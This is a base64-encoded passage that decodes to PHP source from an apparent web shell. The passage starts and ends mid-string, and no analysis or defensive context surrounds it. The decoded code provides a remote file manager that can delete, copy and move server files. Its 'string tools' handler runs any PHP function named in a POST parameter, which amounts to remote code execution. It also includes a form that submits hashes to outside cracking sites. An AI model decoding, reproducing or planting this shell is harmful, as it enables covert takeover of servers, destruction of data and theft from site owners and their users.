lJ10pKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIGNhc2UgJ21rZGlyJzogDQogICAgICAgICAgICAgICAgaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICBjYXNlICdkZWxldGUnOiANCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsgDQogICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7IA0KICAgICAgICAgICAgICAgICAgICAkZGggID0gb3BlbmRpcigkcGF0aCk7IA0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGguJGl0ZW07IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOyANCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRpdGVtKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGl0ZW0pOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgY2xvc2VkaXIoJGRoKTsgDQogICAgICAgICAgICAgICAgICAgIHJtZGlyKCRwYXRoKTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBpZihpc19hcnJheShAJF9QT1NUWydmJ10pKSANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRmID0gdXJsZGVjb2RlKCRmKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGYpKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGYpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIGNhc2UgJ3Bhc3RlJzogDQogICAgICAgICAgICAgICAgaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScpIHsgDQogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZC4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gb3BlbmRpcigkYy4kcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpIA0KICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkX1NFU1NJT05bJ2N3ZCddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7IA0KICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IG9wZW5kaXIoJGMuJHMpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGMuJHMsICRkLiRzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSANCiAgICAgICAgICAgICAgICAgICAgICAgIEByZW5hbWUoJF9TRVNTSU9OWydjd2QnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bJ2YnXSk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIGRlZmF1bHQ6IA0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICgoJF9QT1NUWydwMSddID09ICdjb3B5Jyl8fCgkX1BPU1RbJ3AxJ10gPT0gJ21vdmUnKSkgKSB7IA0KICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsgDQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOyANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkayA9PiAkZikgDQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOyANCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9IEAkX1BPU1RbJ2MnXTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgIH0gDQogICAgICAgIGVjaG8gJzxzY3JpcHQ+ZG9jdW1lbnQubWYucDEudmFsdWU9IiI7ZG9jdW1lbnQubWYucDIudmFsdWU9IiI7PC9zY3JpcHQ+JzsgDQogICAgfSANCiAgICAkZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOyANCiAgICBpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsgICAgZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJzsgcmV0dXJuOyAgICB9DQogICAgZ2xvYmFsICRzb3J0OyANCiAgICAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7IA0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICBpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkgDQogICAgICAgICAgICAkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOyANCiAgICB9IA0KPz4gDQo8c2NyaXB0PiANCiAgICBmdW5jdGlvbiBzYSgpIHsgDQogICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKSANCiAgICAgICAgICAgIGlmKGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykgDQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7IA0KICAgIH0gDQo8L3NjcmlwdD4gDQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPiANCjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+IA0KPD9waHAgDQogICAgZWNobyAiPHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGljaz0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbmFtZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfc2l6ZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfcGVybXNfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5QZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7IA0KICAgICRkaXJzID0gJGZpbGVzID0gJGxpbmtzID0gYXJyYXkoKTsgDQogICAgJG4gPSBjb3VudCgkZGlyQ29udGVudCk7IA0KICAgIGZvcigkaT0wOyRpPCRuOyRpKyspIHsgDQogICAgICAgICRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOyANCiAgICAgICAgJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7IA0KICAgICAgICAkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwgDQogICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwgDQogICAgICAgICAgICAgICAgICAgICAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSksIA0KICAgICAgICAgICAgICAgICAgICAgJ3Blcm1zJyA9PiB2aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwNCiAgICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksIA0KICAgICAgICAgICAgICAgICAgICAgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksIA0KICAgICAgICAgICAgICAgICAgICAgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkgDQogICAgICAgICAgICAgICAgICAgICk7IA0KICAgICAgICBpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkgDQogICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsgDQogICAgICAgIGVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkgDQogICAgICAgICAgICAkbGlua3NbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycpKTsgDQogICAgICAgIGVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKSANCiAgICAgICAgICAgICRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsgDQogICAgfSANCiAgICAkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7IA0KICAgIGZ1bmN0aW9uIGNtcCgkYSwgJGIpIHsgDQogICAgICAgIGlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKSANCiAgICAgICAgICAgIHJldHVybiBzdHJjbXAoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0sICRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsgDQogICAgICAgIGVsc2UgDQogICAgICAgICAgICByZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOyANCiAgICB9IA0KICAgIHVzb3J0KCRmaWxlcywgImNtcCIpOyANCiAgICB1c29ydCgkZGlycywgImNtcCIpOyANCiAgICB1c29ydCgkbGlua3MsICJjbXAiKTsgDQogICAgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRsaW5rcywgJGZpbGVzKTsgDQogICAgJGwgPSAwOyANCiAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZikgeyANCiAgICAgICAgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiPjxiPlsgJy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pLicgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXSANCiAgICAgICAgICAgIC4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7IA0KICAgICAgICAkbCA9ICRsPzA6MTsgDQogICAgfSANCiAgICA/PiANCiAgICA8dHI+PHRkIGNvbHNwYW49Nz4gDQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPiANCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSc8Pz1odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSk/Pic+IA0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJz8+Jz4gDQogICAgPHNlbGVjdCBuYW1lPSdwMSc+PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPjw/cGhwIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSYmQGNvdW50KCRfU0VTU0lPTlsnZiddKSl7Pz48b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGU8L29wdGlvbj48P3BocCB9Pz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iPjwvdGQ+PC90cj4gDQogICAgPC9mb3JtPjwvdGFibGU+PC9kaXY+IA0KICAgIDw/cGhwIA0KICAgIHByaW50Rm9vdGVyKCk7IA0KfSANCg0KZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7IA0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319IA0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319IA0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBkZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fSANCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fSANCiAgICAgDQogICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7IA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7IA0KICAgICAgICBvYl9zdGFydCgpOyANCiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCRfUE9TVFsncDEnXSkpIA0KICAgICAgICAgICAgZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsgDQogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOyANCiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsgDQogICAgICAgIGV4aXQ7IA0KICAgIH0gDQogICAgcHJpbnRIZWFkZXIoKTsgDQogICAgZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7IA0KICAgICRzdHJpbmdUb29scyA9IGFycmF5KCANCiAgICAgICAgJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywgDQogICAgICAgICdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsIA0KICAgICAgICAnVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsIA0KICAgICAgICAnVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsIA0KICAgICAgICAnRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsIA0KICAgICAgICAnbWQ1IGhhc2gnID0+ICdtZDUnLCANCiAgICAgICAgJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLCANCiAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLCANCiAgICAgICAgJ0NSQzMyJyA9PiAnY3JjMzInLCANCiAgICAgICAgJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsIA0KICAgICAgICAnSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywgDQogICAgICAgICdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywgDQogICAgICAgICdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsIA0KICAgICAgICAnREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsIA0KICAgICAgICAnREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsIA0KICAgICAgICAnQklOIHRvIEhFWCcgPT4gJ2JpbjJoZXgnLCANCiAgICAgICAgJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLCAgICAgICAgIA0KICAgICAgICAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywgDQogICAgICAgICdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLCANCiAgICAgICAgJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywgDQogICAgICAgICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywgDQogICAgKTsgDQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7IA0KICAgIGVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOyANCiAgICBmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikgDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsgDQogICAgICAgIGVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7IA0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJF9QT1NUWydwMSddKSkgDQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7IA0KICAgIH0gDQogICAgZWNobyI8L3ByZT48L2Rpdj4iOyANCiAgICA/PiANCiAgICA8YnI+PGgxPlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4gDQogICAgICAgIDxmb3JtIG1ldGhvZD0ncG9zdCcgdGFyZ2V0PSdfYmxhbmsnIG5hbWU9ImhmIj4gDQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaGFzaCIgc3R5bGU9IndpZHRoOjIwMHB4OyI+PGJyPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSJoYXNoY3JhY2suY29tIiBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cuaGFzaGNyYWNrLmNvbS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpIj48YnI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Im1pbHcwcm0uY29tIiBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWlsdzBybS5jb20vY3JhY2tlci9zZWFyY2gucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKSI+PGJyPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSJoYXNoY3JhY2tpbmcuaW5mbyIgb25jbGljaz0iZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL2hhc2hjcmFja2luZy5pbmZvL2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KCkiPjxicj4gDQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0ibWQ1LnJlZG5vaXplLmNvbSIgb25jbGljaz0iZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vbWQ1LnJlZG5vaXplLmNvbS8/cT0nK2RvY3VtZW50LmhmLmhhc2gudmFsdWUrJyZzPW1kNSc7ZG9jdW1lbnQuaGYuc3VibWl0KCkiPjxicj4gDQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0ibWQ1ZGVjcnlwdGVyLmNvbSIgb25jbGljaz0iZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lm1kNWRlY3J5cHRlci5jb20vJztkb2N1bWVudC5oZi5zdWJtaXQoKSI+PGJyPiANCiAgICAgICAgPC9mb3JtPiANCiAgICA8L2Rpdj4gDQogICAgPD9waHAgDQogICAgcHJp